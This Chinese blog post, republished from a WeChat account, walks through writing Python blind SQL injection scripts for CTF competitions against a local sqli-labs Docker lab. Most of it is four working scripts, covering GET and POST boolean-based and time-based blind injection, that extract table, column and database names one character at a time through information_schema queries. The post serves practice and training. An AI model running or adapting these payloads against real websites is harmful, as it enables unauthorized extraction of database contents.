记一次使用Python编写多类型盲注脚本

admin 2024年2月16日11:22:37评论12 views字数 2351阅读7分50秒阅读模式
为了应对在比赛中突然遇到盲注的题目但是sqlmap梭哈不了的情况,特地开此文熟悉盲注脚本写法,定位是在比赛中可以快速写出来,所以可能功能上还是有所欠缺。本来是想用搭建在本地的phpstudy来做实验,后来发现搭建在本地请求太慢了,遂想到使用Buuctf上的sqli-labs靶场做实验,但是中间写完测试的时候出现了些许问题,跑出来的数据经常缺三少四,刚开始还以为是代码问题,后来经过测试发现是Buuctf网站具有请求限制。最终使用docker拉取了个镜像才算顺利完成实验。

环境搭建

docker pull acgpiano/sqli-labs docker run -itd --name sqli -p 9080:80 --rm acgpiano

记一次使用Python编写多类型盲注脚本GET型布尔盲注

先贴脚本,先定义一个外层循环去遍历要跑的位数,在定义一个内层循环去充当“字典”的作用。为了节省时间我只写了从ascii码的可打印字符开始,然后去判断返回的文本里是否出现 Your Login name:Dumb这个文本,如果存在就打印出来。这里其实还有地方值得去优化,也就是第一个循环结束的地址,这个按理说应该明确一下要不然有点浪费资源,但因为我们写这个脚本的初衷就是尽量的短,可以在比赛的时候快速敲出来。就不在优化了。同时值得一提的是这里去使用单引号或者双引号进行闭合的时候推荐使用反斜杠对其进行转义,空格建议使用%20去代替。(当然没这样做好像也能跑起来)
import requestsfor i in range(1,50):    for b in range(33,127):        payload=f"'%20and%20ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),{i},1))={b}--+"        url = 'http://192.168.234.193:9080/Less-1/?id=1'+payload        result = requests.get(url=url).text        if 'Your Login name:Dumb' in result:            print(chr(b),end='')

记一次使用Python编写多类型盲注脚本

GET型时间盲注

其实时间盲注和布尔的差不多无非是多加了几行代码来判断页面的返回时间,这里新引用了time库,在发送请求前获取下时间,在发送请求后在获取下时间,两者进行相减即可获得响应时间。
import requests,timefor i in range(1,50):    for b in range(33,127):        payload=f"'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{i},1))={b},sleep(1),1)--+"        url = 'http://192.168.234.193:9080/Less-9/?id=1'+payload        ret = time.time()        result = requests.get(url=url).text        ret2 = time.time()-ret        if ret2 > 1:            print(chr(b),end='')

记一次使用Python编写多类型盲注脚本

POST型布尔盲注

说实话这个POST注入我是踩了许多坑的,但是后来把语句中的and全换成or就可以了,也对,毕竟or是左右有一个成就行。同时在sqli-labs第15关正确错误返回的页面好像在文本和返回长度上没啥差异,我观察了一下唯一的不同可能就在正确页面的背景图片会换成flag.jpg。所以判断返回的文本中是否包含flag.jpg就行。其他的倒没啥,无非是爬虫编写的小差异需要去增加一个字段填写请求数据。
import requestsfor i in range(1,50):    for b in range(32,127):        url = 'http://192.168.234.193:9080/Less-15/'        data = {            'uname': f"'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={b}#",            'passwd': 'adminpass',            'submit': 'Submit'        }        result = requests.post(url=url,data=data).text        if "flag" in result:            print(chr(b),end='')

记一次使用Python编写多类型盲注脚本

POST型时间盲注

没啥额外要说的,非要说点啥那我只能说:太慢了!!!
import requests,timefor i in range(1,9):    for b in range(32,127):        url = 'http://192.168.234.193:9080/Less-15/'        data = {            'uname': f"'or if(ascii(substr(database(),{i},1))={b},sleep(1),1)#",            'passwd': 'adminpass',            'submit': 'Submit'        }        ret = time.time()        result = requests.post(url=url,data=data).text        ret2 = time.time() - ret        if ret2 > 1:            print(chr(b),end='')

记一次使用Python编写多类型盲注脚本

原文始发于微信公众号(飞奔的狸花猫):记一次使用Python编写多类型盲注脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日11:22:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次使用Python编写多类型盲注脚本http://cn-sec.com/archives/2491319.html

发表评论

匿名网友 填写信息